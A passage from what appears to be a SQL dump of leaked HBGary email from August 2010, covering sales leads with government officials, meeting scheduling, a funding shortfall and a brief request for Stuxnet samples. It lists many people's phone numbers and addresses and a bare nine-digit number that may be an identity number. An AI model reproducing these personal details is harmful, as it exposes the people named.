this is possible?\r\n\r\n&nbsp;\r\n\r\nThank you for your help with this request.\r\n\r\n&nbsp;\r\n\r\nMark White\r\n\r\nCTO, National Cyber Security Center\r\n\r\nDepartment of Homeland Security\r\n\r\n(703) 235-5483 New Phone Number!\r\n\r\n(202) 340-6000 Mobile \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com\r\n| Email: phil@hbgary.com |\r\nBlog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15596,'aaron_hbgary_com/15596.html'),(9970,'2010-08-09','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297007801.M873487P14101Q4825.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Check-in with John','August 9, 2010 10:00 AM : Check-in with John \r\n',4867,'aaron_hbgary_com/4867.html'),(9971,'2010-08-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007802.M313270P14101Q4827.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: HBGary software','Who is the best person to speak with a CTO?\r\nOn Mon, Aug 9, 2010 at 3:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nThis is a TMC opportunity it sounds like.  Given he is a CTO, it’s probably best if someone more technical talks to him about what he is trying to do.  There are TONS of anti-phising companies out there, Symantec, McAfee etc all have a solutions, I think the ability to customize and do this based upon behavior is what is compelling, the problem or potential problem is can we do what he wants.  If it’s a payload with a PDF probably, if it’s a web link, probably not, unless something is downloaded.  If he is interested in developing  a solutions, a “sandbox” and containment program would work but we don’t have the quarantine capability yet\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Monday, August 09, 2010 2:20 PM\r\nTo: Aaron BarrCc: Penny C. Hoglund; Bob SlapnikSubject: Fwd: HBGary software\r\n\r\n\r\n\r\n \r\n\r\nHi Aaron\r\n\r\n \r\n\r\nMark White is interested in meeting with you.  His group oversees the 6 National Security Data Centers and he makes recommendations etc.  The 6 include US CER, ICIRC, NCIJTF, D3, Cyber Command  -- I missed a couple\r\n\r\n\r\n \r\n\r\nHe says we are missing a game changing opportunity -- see yellow highlights below.\r\n\r\n \r\n\r\nI found him very friendly and wanting to share information but I had difficulty understanding him.....  He is interested in meeting you but I don&#39;t know the opportunity except perhaps they can take a lead role in setting standards and articulating their product needs.  \r\n\r\n\r\n \r\n\r\nIn the meantime he is evaluating Responder Pro.  He is intersted in the TMC as well.\r\n\r\n \r\n\r\nMaria\r\n\r\n\r\n\r\n \r\n \r\n\r\n \r\n\r\n\r\n\r\nPhil,\r\n \r\nYou and I met at S&amp;T last April; I was the one sitting in front of the room in the same row as Doug Maughan, on the far right hand side.  I had expressed my opinion as to how your product could be used as part of an automated anti-phishing email capture process right off of government SMTP mail gateways.\r\n\r\n \r\nI am interested in training opportunities with your software and identify if I could get a promotional version of your responder suite for some evaluation and experimentation.\r\n\r\n \r\nPlease advise if this is possible?\r\n \r\nThank you for your help with this request.\r\n \r\nMark White\r\nCTO, National Cyber Security Center\r\nDepartment of Homeland Security\r\n(703) 235-5483 New Phone Number!\r\n(202) 340-6000 Mobile \r\n \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',12487,'aaron_hbgary_com/12487.html'),(9972,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007802.M528352P14101Q4828.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','Re: HBGary software','I used to be a CTO myself...don\'t let the title fool you.Look Greg\'s a CEO and you can\'t get more technical than that. ?AaronOn Aug 9, 2010, at 6:37 PM, Maria Lucas wrote:Who is the best person to speak with a CTO?\r\nOn Mon, Aug 9, 2010 at 3:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is a TMC opportunity it sounds like.&nbsp; Given he is a CTO, it’s probably best if someone more technical talks to him about what he is trying to do.&nbsp; There are TONS of anti-phising companies out there, Symantec, McAfee etc all have a solutions, I think the ability to customize and do this based upon behavior is what is compelling, the problem or potential problem is can we do what he wants.&nbsp; If it’s a payload with a PDF probably, if it’s a web link, probably not, unless something is downloaded.&nbsp; If he is interested in developing&nbsp; a solutions, a “sandbox” and containment program would work but we don’t have the quarantine capability yet&nbsp;\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Monday, August 09, 2010 2:20 PM\r\nTo: Aaron BarrCc: Penny C. Hoglund; Bob SlapnikSubject: Fwd: HBGary software\r\n\r\n\r\n&nbsp;\r\nHi Aaron\r\n&nbsp;\r\nMark White is interested in meeting with you.&nbsp; His group oversees the 6 National Security Data Centers and he makes recommendations etc.&nbsp; The 6 include US CER, ICIRC, NCIJTF, D3, Cyber Command&nbsp; -- I missed a couple\r\n\r\n&nbsp;\r\nHe says we are missing a game changing opportunity -- see yellow highlights below.\r\n&nbsp;\r\nI found him very friendly and wanting to share information but I had difficulty understanding him.....&nbsp; He is interested in meeting you but I don\'t know the opportunity except perhaps they can take a lead role in setting standards and articulating their product needs.&nbsp; \r\n\r\n&nbsp;\r\nIn the meantime he is evaluating Responder Pro.&nbsp; He is intersted in the TMC as well.\r\n&nbsp;\r\nMaria\r\n\r\n\r\n&nbsp;&nbsp;\r\n&nbsp;\r\n\r\n\r\nPhil,&nbsp;You and I met at S&amp;T last April; I was the one sitting in front of the room in the same row as Doug Maughan, on the far right hand side.&nbsp; I had expressed my opinion as to how your product could be used as part of an automated anti-phishing email capture process right off of government SMTP mail gateways.&nbsp;I am interested in training opportunities with your software and identify if I could get a promotional version of your responder suite for some evaluation and experimentation.&nbsp;Please advise if this is possible?&nbsp;Thank you for your help with this request.&nbsp;Mark WhiteCTO, National Cyber Security CenterDepartment of Homeland Security(703) 235-5483 New Phone Number!(202) 340-6000 Mobile &nbsp;-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',11907,'aaron_hbgary_com/11907.html'),(9973,'2010-08-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007802.M760282P14101Q4829.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary software','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust someone technical, aaron is fine, I just meant that it&#8217;s\r\nbetter to have someone like that on the phone (other than mariaJ)&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 3:39 PM\r\nTo: Maria Lucas\r\nCc: Penny Leavy-Hoglund; Bob Slapnik\r\nSubject: Re: HBGary software\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI used to be a CTO myself...don\'t let the title fool you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook Greg\'s a CEO and you can\'t get more technical than\r\nthat. ?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 6:37 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWho is the best person to speak\r\nwith a CTO?\r\n\r\n\r\n\r\nOn Mon, Aug 9, 2010 at 3:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nThis is a TMC opportunity it sounds\r\nlike.&nbsp; Given he is a CTO, it&#8217;s probably best if someone more technical\r\ntalks to him about what he is trying to do.&nbsp; There are TONS of\r\nanti-phising companies out there, Symantec, McAfee etc all have a solutions, I\r\nthink the ability to customize and do this based upon behavior is what is\r\ncompelling, the problem or potential problem is can we do what he wants.&nbsp;\r\nIf it&#8217;s a payload with a PDF probably, if it&#8217;s a web link, probably not, unless\r\nsomething is downloaded.&nbsp; If he is interested in developing&nbsp; a\r\nsolutions, a &#8220;sandbox&#8221; and containment program would work but we don&#8217;t have the\r\nquarantine capability yet\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Monday, August 09, 2010 2:20 PM\r\nTo: Aaron Barr\r\nCc: Penny C. Hoglund; Bob Slapnik\r\nSubject: Fwd: HBGary software\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMark\r\nWhite is interested in meeting with you.&nbsp; His group oversees the 6\r\nNational Security Data Centers and he makes recommendations etc.&nbsp; The 6\r\ninclude US CER, ICIRC, NCIJTF, D3, Cyber Command&nbsp; -- I missed a couple\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHe\r\nsays we are missing a game changing opportunity -- see yellow highlights below.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nfound him very friendly and wanting to share information but I had difficulty\r\nunderstanding him.....&nbsp; He is interested in meeting you but I don\'t know\r\nthe opportunity except perhaps they can take a lead role in setting standards\r\nand articulating their product needs.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe meantime he is evaluating Responder Pro.&nbsp; He is intersted in the TMC\r\nas well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYou and I met at S&amp;T last April; I was the one\r\nsitting in front of the room in the same row as Doug Maughan, on the far right\r\nhand side.&nbsp; I had expressed my opinion as\r\nto how your product could be used as part of an automated anti-phishing email\r\ncapture process right off of government SMTP mail gateways.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am interested in training opportunities with your\r\nsoftware and identify if I could get a promotional version of your responder\r\nsuite for some evaluation and experimentation.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPlease advise if this is possible?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThank you for your help with this request.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMark White\r\n\r\nCTO, National Cyber Security Center\r\n\r\nDepartment of Homeland Security\r\n\r\n(703) 235-5483 New Phone Number!\r\n\r\n(202) 340-6000 Mobile \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com\r\n| Email: phil@hbgary.com |\r\nBlog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12062,'aaron_hbgary_com/12062.html'),(9974,'2010-08-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007802.M77508P14101Q4826.eml','\"Linda Betz\" <lnbetz@us.ibm.com>,\"Linda Betz\" <lnbetz@us.ibm.com>,','Re: Linda\'s availability to meet at GFIRST','Hi Linda \r\n \r\n6:00 pm is good, but if you prefer another time that would work for us-- the vendor booths are open until 5:00 on Wed...\r\n \r\n \r\nMaria\r\nOn Sun, Aug 8, 2010 at 5:18 AM, Linda Betz &lt;lnbetz@us.ibm.com&gt; wrote:\r\nMaria, Actually anytime..... but if I were going to suggest, I&#39;d say 6:00pm, just because my body will still be eastern time and I am not a lively night person \r\n\r\nThanks,LindaLinda N. Betz   PMP, CIPP, CISMDirector IT Policy and Information Security (CISO) - CIO Officeemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860  Tie-Line 826-3860\r\n\r\n\r\n\r\nFrom: \r\n\r\nMaria Lucas &lt;maria@hbgary.com&gt; \r\n\r\nTo: \r\n\r\nAlan Mitchell/Austin/IBM@IBMUS \r\n\r\nCc: \r\nAaron Barr &lt;aaron@hbgary.com&gt;, Linda Betz/Poughkeepsie/IBM@IBMUS \r\n\r\nDate: \r\n08/06/2010 08:55 PM \r\n\r\nSubject: \r\nRe: Linda&#39;s availability to meet at GFIRST\r\n\r\n\r\n\r\n\r\nHi Alan   Great to hear.  Why don&#39;t we plan on dinner Wednesday?   Let me know the best time for you and Linda... \r\n  MariaOn Fri, Aug 6, 2010 at 7:20 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote: \r\nAaron/Maria: See Linda&#39;s availability below. Please feel free to reach out to Linda to coordinate meeting up at GFIRST. Thanks-AlanAlan, I have myself getting down to TX by lunchtime on Wednesday. If we want to organize a meeting with HBGary, we could do on Wednesday afternoon or dinner on Wednesday (if that will work) ok?? \r\nThanks,LindaLinda N. Betz PMP, CIPP, CISMDirector IT Policy and Information Security (CISO) - CIO Officeemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860 Tie-Line 826-3860Alan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n   \r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',11384,'aaron_hbgary_com/11384.html'),(9975,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007802.M969923P14101Q4830.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Stuxnet','Hey Guys,\r\n\r\nCan I please get 1 or 2 copies of the Stuxnet malware?\r\n\r\nThanks,\r\nAaron',9943,'aaron_hbgary_com/9943.html'),(9976,'2010-08-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007803.M177455P14101Q4831.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: HBGary software','This guy is not good on the phone.  Maybe if Aaron were onsite and Greg was on a Webex that would work but I think it is a good opp for HBGary federal to network -- just not sure where the fit is initially.\r\nOn Mon, Aug 9, 2010 at 3:43 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nJust someone technical, aaron is fine, I just meant that it’s better to have someone like that on the phone (other than mariaJ)  \r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, August 09, 2010 3:39 PM\r\nTo: Maria LucasCc: Penny Leavy-Hoglund; Bob SlapnikSubject: Re: HBGary software\r\n\r\n\r\n\r\n \r\nI used to be a CTO myself...don&#39;t let the title fool you.\r\n\r\n \r\n\r\nLook Greg&#39;s a CEO and you can&#39;t get more technical than that. ?\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n\r\nOn Aug 9, 2010, at 6:37 PM, Maria Lucas wrote:\r\n\r\nWho is the best person to speak with a CTO?\r\n\r\nOn Mon, Aug 9, 2010 at 3:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is a TMC opportunity it sounds like.  Given he is a CTO, it’s probably best if someone more technical talks to him about what he is trying to do.  There are TONS of anti-phising companies out there, Symantec, McAfee etc all have a solutions, I think the ability to customize and do this based upon behavior is what is compelling, the problem or potential problem is can we do what he wants.  If it’s a payload with a PDF probably, if it’s a web link, probably not, unless something is downloaded.  If he is interested in developing  a solutions, a “sandbox” and containment program would work but we don’t have the quarantine capability yet\r\n\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Monday, August 09, 2010 2:20 PM\r\nTo: Aaron BarrCc: Penny C. Hoglund; Bob SlapnikSubject: Fwd: HBGary software\r\n\r\n\r\n\r\n \r\n\r\nHi Aaron\r\n\r\n\r\n \r\n\r\nMark White is interested in meeting with you.  His group oversees the 6 National Security Data Centers and he makes recommendations etc.  The 6 include US CER, ICIRC, NCIJTF, D3, Cyber Command  -- I missed a couple\r\n\r\n\r\n\r\n \r\n\r\nHe says we are missing a game changing opportunity -- see yellow highlights below.\r\n\r\n\r\n \r\n\r\nI found him very friendly and wanting to share information but I had difficulty understanding him.....  He is interested in meeting you but I don&#39;t know the opportunity except perhaps they can take a lead role in setting standards and articulating their product needs.  \r\n\r\n\r\n\r\n \r\n\r\nIn the meantime he is evaluating Responder Pro.  He is intersted in the TMC as well.\r\n\r\n\r\n \r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\nPhil,\r\n\r\n \r\nYou and I met at S&amp;T last April; I was the one sitting in front of the room in the same row as Doug Maughan, on the far right hand side.  I had expressed my opinion as to how your product could be used as part of an automated anti-phishing email capture process right off of government SMTP mail gateways.\r\n\r\n\r\n \r\nI am interested in training opportunities with your software and identify if I could get a promotional version of your responder suite for some evaluation and experimentation.\r\n\r\n\r\n \r\nPlease advise if this is possible?\r\n\r\n \r\nThank you for your help with this request.\r\n\r\n \r\nMark White\r\nCTO, National Cyber Security Center\r\nDepartment of Homeland Security\r\n(703) 235-5483 New Phone Number!\r\n(202) 340-6000 Mobile \r\n\r\n \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',3581,'aaron_hbgary_com/3581.html'),(9977,'2010-08-09','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297007807.M816628P14101Q4832.eml','\"Aaron Barr\" <aaron@hbgary.com>','[Fwd: Fwd: Stuxnet]','\r\n',16063,'aaron_hbgary_com/16063.html'),(9978,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007808.M500844P14101Q4833.eml','alexander.miller@l-3com.com,alexander.miller@l-3com.com','Re: Discussions','Alex,\r\n\r\nDo you have some time to get together this week or next?\r\n\r\nRegards,\r\nAaron\r\n\r\n\r\nOn Aug 3, 2010, at 11:32 AM, alexander.miller@l-3com.com wrote:\r\n\r\n> Aaron, what a pleasure to meet you (again, smile) after so many years. You clearly done well for yourself. \r\n> \r\n> Simone, would you pls set up a meeting with Aaron, Steve Korns and David Gertler and myself in AJ. It will be small capabilities review of HBGARY and then a conceptual discussion of what a Cyber Dev and Training Center might consist of. \r\n> \r\n> Aaron, I look fwd to seeing you. \r\n> \r\n> Best, Alex\r\n> \r\n> RADM Alex Miller USN (Ret)\r\n> SVP and General Manager, Intelligence Solutions Business Unit\r\n> L-3 STRATIS \"Powered by Excellence\"\r\n> 2720 Technology Dr.\r\n> Annapolis Junction, MD. 20701\r\n> (301) 575-2801 Office\r\n> (443) 695-1232 Cell\r\n> (301) 575-3506 Fax\r\n> alexander.miller@l-3com.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 11:00 AM\r\n> To: Miller, Alexander A @ STRATIS\r\n> Subject: Discussions\r\n> \r\n> Alex,\r\n> \r\n> Very good to meet with you today.  Now I am going to have to go through all my old photos i think I have a picture of you giving me an award of some sort.  Takes me back.  I think i may be a good example of the enlisted training available in the services.\r\n> \r\n> \r\n> I would like to come in and talk cyber and see if I can provide some assistance.  I have been looking at the national problem for some time so certainly know where it\'s broken but i also think we have some ideas on how to improve our capabilities.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal LLC\r\n> 719.510.8478 \r\n> \r\n> Sent from my iPad\r\n\r\n',6639,'aaron_hbgary_com/6639.html'),(9979,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007809.M343240P14101Q4834.eml','\"Barr Aaron\" <aaron@hbgary.com>','current version','-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8432,'aaron_hbgary_com/8432.html'),(9980,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007809.M840320P14101Q4835.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Funding','Penny,\r\n\r\nWe are very close to solvency, but we are not quite there.  We are going to be short 2 paychecks before we start bringing in revenue to cover us.  Based on our early conversations we discussed that we would need the $250K more front loaded than peanut butter spread across the year, this is where we are.  We have money enough for one more paycheck and based on the work we are doing in August don\'t believe we will get payed for that work until mid-september.  I have positions I can fill now on contract but am now scouring for the bodies with the required skills and clearances.  Our Romas work will start in October.  We start teaching the training 2 September.  We are working opportunities with Fidelis to help write their policies.  We are working are large SOC proposal for TSA which will be awarded 28 September.  We have the accelerator work starting September 1st.\r\n\r\nCan you call me to discuss?\r\n\r\nThanks,\r\nAaron',3913,'aaron_hbgary_com/3913.html'),(9981,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007810.M547426P14101Q4836.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Contracts','Hi Chris,\r\n\r\nAny updates on being able to get us on as subs to existing contracts like i2s?  Where are we for potentially hiring people in Colorado?\r\n\r\nAaron\r\n\r\n',608,'aaron_hbgary_com/608.html'),(9982,'2010-08-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007810.M766016P14101Q4837.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','state dept','Hi Aaron\r\n \r\nJoe can back you on the State Dept meeting if we move it to 4:00 pm.  Otherwise I need to check with Phil.\r\n \r\nCan you CONFIRM that you will attend onsite and that either time works for you?\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',11654,'aaron_hbgary_com/11654.html'),(9983,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007810.M982081P14101Q4838.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Sure.  534783155\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n\r\n> One quick question:  Any one from your side cleared yet?\r\n>\r\n> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>\r\n>> Rgr.  I am open working on a proposal, so flexible.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>> John\r\n>>>\r\n>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> John,\r\n>>>>\r\n>>>> How about first week of August?  I am on family vacation starting\r\n>>>> Thursday then blackhat.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>>\r\n>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>\r\n>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hi John,\r\n>>>>>>\r\n>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>\r\n>>>>>> Let me know when you have some time.\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>>\r\n>>>>>\r\n>>>\r\n>\r\n',4182,'aaron_hbgary_com/4182.html'),(9984,'2010-08-10','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297007811.M286263P14101Q4839.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Continuing discussion / palantir + malware intelligence','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n 